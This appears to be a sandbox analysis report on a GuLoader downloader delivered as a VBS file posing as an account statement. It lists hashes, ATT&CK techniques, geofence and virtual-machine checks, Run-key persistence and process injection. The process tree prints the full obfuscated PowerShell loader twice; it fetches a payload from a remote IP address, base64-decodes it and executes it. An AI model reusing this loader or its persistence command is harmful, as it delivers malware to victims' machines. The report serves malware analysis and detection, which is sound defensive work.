guloader | 8803e95a526b1711590210f2d6b892a7c315691e1ce163f12a1a50510bda4217

General

Target

STatEment-of-Accounts-15th-mARCH-2023_ACCOUNT-SUMMARY_REF_QUTYT_125KB_0000000000000000000.vbs
Size

31KB
MD5

58cba3aa60ed8857deb32d90c47660b1
SHA1

4cc7ea4c8fa38f54fe77185e6946ae71341c5bd3
SHA256

6ac3b02c068631d96b3fef677a7145b1d1d327af6f8b625f1536959bf69a1ab4
SHA512

3e718367014d6ffaefa2531f5fafc1cd3741d25b70298ce7caed2f83041b1ef4f947f90f53b827b3206d161fd19a6776c32f458b6e9e11128f2792640e14657a
SSDEEP

768:cuKPqBHxLXe21oomQdDPgl3nn4kFP7vdlrMpu6nq6S:FRxLu21oomQdcl3n4kFPH4DNS

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	ieinstal.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Windows\CurrentVersion\Run	ieinstal.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\autogene = "%TORO% -w 1 $Datama=(Get-ItemProperty -Path 'HKCU:\\Leucorrhe\\').Dispaintob;%TORO% ($Datama)"	ieinstal.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
1700	ieinstal.exe
1700	ieinstal.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2228	powershell.exe
1700	ieinstal.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2228 set thread context of 1700	2228	powershell.exe	89

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1816	powershell.exe
1816	powershell.exe
2228	powershell.exe
2228	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2228	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeDebugPrivilege	2228	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1700	ieinstal.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2188 wrote to memory of 1816	2188	WScript.exe	83
PID 2188 wrote to memory of 1816	2188	WScript.exe	83
PID 1816 wrote to memory of 2228	1816	powershell.exe	85
PID 1816 wrote to memory of 2228	1816	powershell.exe	85
PID 1816 wrote to memory of 2228	1816	powershell.exe	85
PID 2228 wrote to memory of 1700	2228	powershell.exe	89
PID 2228 wrote to memory of 1700	2228	powershell.exe	89
PID 2228 wrote to memory of 1700	2228	powershell.exe	89
PID 2228 wrote to memory of 1700	2228	powershell.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\STatEment-of-Accounts-15th-mARCH-2023_ACCOUNT-SUMMARY_REF_QUTYT_125KB_0000000000000000000.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Photo9 ([String]$Prec){For($Velsesloka=1; $Velsesloka -lt $Prec.Length-1; $Velsesloka+=(1+1)){$alvorso=$alvorso+$Prec.Substring($Velsesloka, 1)};$alvorso;}$Overcarefu=Photo9 ' h tftmpS: /b/N9 1R.S2 4 4 .O1D9P7A.O9B/atVr uUmAmLpT/ R i c icn i nFeOeF.Es nRpG ';$alvorso01=Photo9 'siTewxH ';$Kabareter = Photo9 'T\ sCy s wRoIwU6 4G\SWPion dMoBwPsLPEo w e r S h eSlBl \ vk1G.S0U\ pSo wbeIr sphBe l l .ReAx eB ';.($alvorso01) (Photo9 'O$ CPeMlEe rPiSaVcds 2W=S$ eUn vR:NwEi n d iBr ') ;.($alvorso01) (Photo9 'S$TKMaFbQaSrSePtQeZr =C$TC e l e r iPa cas 2 +t$ K a bTaDrSe tpeRr ') ;.($alvorso01) (Photo9 'e$ BGrPnDeSoMp R=U R(P(PgTwTmpi SwLi n 3 2N_ pSr oMcbe s sR S- F PPrKoBcReus s ITds= $u{ PVIBD } ) .LC o mAmTaSn dSLQiGn eF)s I-Ds p lUi t S[Rc hTa rD] 3K4 ');.($alvorso01) (Photo9 'D$ pAu kLlT = r$SB r nReUo p [S$ B rFn eBoCpT. c oTuTn tf-h2 ] ');.($alvorso01) (Photo9 ' $ D i cSyJcBlMiOeCs cO=U(kTHess tc-UP aTt hA H$ KUa b aPrDeBtSeArP)P r-AA nFdA (V[DIAnMtiPFttrs]T:V: sGiUzRe S-BeAqU 8 ) ') ;if ($Dicycliesc) {.$Kabareter $pukl;} else {;$alvorso00=Photo9 'SSStIa rPt - BBi t sKTCrAa nUsWfTeSr -KSBoSuKrSc eT $SO vfe rCc a r eDfKuA S-CD e s tNiPnOaLtSiPo n L$FC eHl e rRiHaPcSs 2 ';.($alvorso01) (Photo9 'F$SC e lGe r i a cDs 2 =D$Te nOvT:VabpLp dDaKtPa ') ;.($alvorso01) (Photo9 ' I mOp o rJtI-SMUo dMu lSe CB i tTsOTSr a nAsDf eCrH ') ;$Celeriacs2=$Celeriacs2+'\Sinterin.Sli';while (-not $Tiercels) {.($alvorso01) (Photo9 'A$ TPiSeIrIcReRl s =a(STIeDsntO- P aPt hF $UC eDlSeCr iJa casd2 )D ') ;.($alvorso01) $alvorso00;.($alvorso01) (Photo9 ' S tba r tB- SFlHeCeNpU P5R ');}.($alvorso01) (Photo9 'I$FPPhUo tBoP S=S cG eftE- CIo nItDeTn tS R$PC ePl eKr i afcnsS2 ');.($alvorso01) (Photo9 ' $ SKaTcMhIaS P= S[ASWySsst e mG.DC oDnMvBe rItr]F: :PFIr o maBCaOsBeO6F4 SVt r iTnCg ( $ PShUoTt o )V ');.($alvorso01) (Photo9 'F$SaFlPv o rPsBoa2J =V [ SFyKs tUeLmD.ST e xRtB. EInHcBo d iPnSgP]B: :EALSHCaI IF. GIe t S trr i n g (T$sS aEc h a ) ');.($alvorso01) (Photo9 'M$ I m pBrKo vRi sDe = $FaBl vSoArss oA2L. s uPbTs tLr iBn gu( 1T8D5 0 2S7 ,r1A8 9 4O5 )F ');.($alvorso01) $Improvise;}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Photo9 ([String]$Prec){For($Velsesloka=1; $Velsesloka -lt $Prec.Length-1; $Velsesloka+=(1+1)){$alvorso=$alvorso+$Prec.Substring($Velsesloka, 1)};$alvorso;}$Overcarefu=Photo9 ' h tftmpS: /b/N9 1R.S2 4 4 .O1D9P7A.O9B/atVr uUmAmLpT/ R i c icn i nFeOeF.Es nRpG ';$alvorso01=Photo9 'siTewxH ';$Kabareter = Photo9 'T\ sCy s wRoIwU6 4G\SWPion dMoBwPsLPEo w e r S h eSlBl \ vk1G.S0U\ pSo wbeIr sphBe l l .ReAx eB ';.($alvorso01) (Photo9 'O$ CPeMlEe rPiSaVcds 2W=S$ eUn vR:NwEi n d iBr ') ;.($alvorso01) (Photo9 'S$TKMaFbQaSrSePtQeZr =C$TC e l e r iPa cas 2 +t$ K a bTaDrSe tpeRr ') ;.($alvorso01) (Photo9 'e$ BGrPnDeSoMp R=U R(P(PgTwTmpi SwLi n 3 2N_ pSr oMcbe s sR S- F PPrKoBcReus s ITds= $u{ PVIBD } ) .LC o mAmTaSn dSLQiGn eF)s I-Ds p lUi t S[Rc hTa rD] 3K4 ');.($alvorso01) (Photo9 'D$ pAu kLlT = r$SB r nReUo p [S$ B rFn eBoCpT. c oTuTn tf-h2 ] ');.($alvorso01) (Photo9 ' $ D i cSyJcBlMiOeCs cO=U(kTHess tc-UP aTt hA H$ KUa b aPrDeBtSeArP)P r-AA nFdA (V[DIAnMtiPFttrs]T:V: sGiUzRe S-BeAqU 8 ) ') ;if ($Dicycliesc) {.$Kabareter $pukl;} else {;$alvorso00=Photo9 'SSStIa rPt - BBi t sKTCrAa nUsWfTeSr -KSBoSuKrSc eT $SO vfe rCc a r eDfKuA S-CD e s tNiPnOaLtSiPo n L$FC eHl e rRiHaPcSs 2 ';.($alvorso01) (Photo9 'F$SC e lGe r i a cDs 2 =D$Te nOvT:VabpLp dDaKtPa ') ;.($alvorso01) (Photo9 ' I mOp o rJtI-SMUo dMu lSe CB i tTsOTSr a nAsDf eCrH ') ;$Celeriacs2=$Celeriacs2+'\Sinterin.Sli';while (-not $Tiercels) {.($alvorso01) (Photo9 'A$ TPiSeIrIcReRl s =a(STIeDsntO- P aPt hF $UC eDlSeCr iJa casd2 )D ') ;.($alvorso01) $alvorso00;.($alvorso01) (Photo9 ' S tba r tB- SFlHeCeNpU P5R ');}.($alvorso01) (Photo9 'I$FPPhUo tBoP S=S cG eftE- CIo nItDeTn tS R$PC ePl eKr i afcnsS2 ');.($alvorso01) (Photo9 ' $ SKaTcMhIaS P= S[ASWySsst e mG.DC oDnMvBe rItr]F: :PFIr o maBCaOsBeO6F4 SVt r iTnCg ( $ PShUoTt o )V ');.($alvorso01) (Photo9 'F$SaFlPv o rPsBoa2J =V [ SFyKs tUeLmD.ST e xRtB. EInHcBo d iPnSgP]B: :EALSHCaI IF. GIe t S trr i n g (T$sS aEc h a ) ');.($alvorso01) (Photo9 'M$ I m pBrKo vRi sDe = $FaBl vSoArss oA2L. s uPbTs tLr iBn gu( 1T8D5 0 2S7 ,r1A8 9 4O5 )F ');.($alvorso01) $Improvise;}"
    3⤵
    - Checks QEMU agent file
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2228
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      Checks QEMU agent file
      Adds Run key to start application
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetWindowsHookEx
      PID:1700

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\lowegs.dat

Filesize
184B

MD5
19e86664068c0827b0751a314c1c988d

SHA1
5e07b21d7ec3d1ec314722144975cbec666d8daa

SHA256
f30699a8f8f664bd8b4ff21aa8dd5921a9a3a4f68d371cc35f4abc69c37cb9f8

SHA512
e5d0fe87e900fcd3554aedd5330f7ca3f3426fa31a52ab7bcd89bdb24be279d1d12d29cb8914b10ca066219cdfb03636cae067432358ef44a09f72dddf255cbb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qteizhym.rd3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1700-182-0x0000000000630000-0x0000000003DFF000-memory.dmp

Filesize
55.8MB

Download
memory/1700-180-0x0000000000630000-0x0000000003DFF000-memory.dmp

Filesize
55.8MB

Download
memory/1700-179-0x0000000000630000-0x0000000003DFF000-memory.dmp

Filesize
55.8MB

Download
memory/1816-142-0x000001E555020000-0x000001E555042000-memory.dmp

Filesize
136KB

Download
memory/1816-143-0x000001E555080000-0x000001E555090000-memory.dmp

Filesize
64KB

Download
memory/1816-144-0x000001E555080000-0x000001E555090000-memory.dmp

Filesize
64KB

Download
memory/1816-145-0x000001E555080000-0x000001E555090000-memory.dmp

Filesize
64KB

Download
memory/1816-172-0x000001E555080000-0x000001E555090000-memory.dmp

Filesize
64KB

Download
memory/1816-171-0x000001E555080000-0x000001E555090000-memory.dmp

Filesize
64KB

Download
memory/1816-170-0x000001E555080000-0x000001E555090000-memory.dmp

Filesize
64KB

Download
memory/2228-166-0x0000000007600000-0x0000000007696000-memory.dmp

Filesize
600KB

Download
memory/2228-151-0x0000000005CF0000-0x0000000005D56000-memory.dmp

Filesize
408KB

Download
memory/2228-164-0x0000000007BD0000-0x000000000824A000-memory.dmp

Filesize
6.5MB

Download
memory/2228-165-0x00000000068E0000-0x00000000068FA000-memory.dmp

Filesize
104KB

Download
memory/2228-162-0x0000000006360000-0x000000000637E000-memory.dmp

Filesize
120KB

Download
memory/2228-167-0x0000000007560000-0x0000000007582000-memory.dmp

Filesize
136KB

Download
memory/2228-168-0x0000000008800000-0x0000000008DA4000-memory.dmp

Filesize
5.6MB

Download
memory/2228-169-0x0000000007990000-0x00000000079A4000-memory.dmp

Filesize
80KB

Download
memory/2228-157-0x0000000004F60000-0x0000000004F70000-memory.dmp

Filesize
64KB

Download
memory/2228-163-0x0000000004F60000-0x0000000004F70000-memory.dmp

Filesize
64KB

Download
memory/2228-150-0x0000000005BD0000-0x0000000005C36000-memory.dmp

Filesize
408KB

Download
memory/2228-173-0x0000000004F60000-0x0000000004F70000-memory.dmp

Filesize
64KB

Download
memory/2228-174-0x0000000004F60000-0x0000000004F70000-memory.dmp

Filesize
64KB

Download
memory/2228-175-0x0000000004F60000-0x0000000004F70000-memory.dmp

Filesize
64KB

Download
memory/2228-178-0x0000000007A30000-0x0000000007A31000-memory.dmp

Filesize
4KB

Download
memory/2228-177-0x0000000008DB0000-0x000000000C57F000-memory.dmp

Filesize
55.8MB

Download
memory/2228-149-0x00000000054A0000-0x00000000054C2000-memory.dmp

Filesize
136KB

Download
memory/2228-148-0x00000000055A0000-0x0000000005BC8000-memory.dmp

Filesize
6.2MB

Download
memory/2228-147-0x0000000004DA0000-0x0000000004DD6000-memory.dmp

Filesize
216KB

Download
memory/2228-146-0x0000000004F60000-0x0000000004F70000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads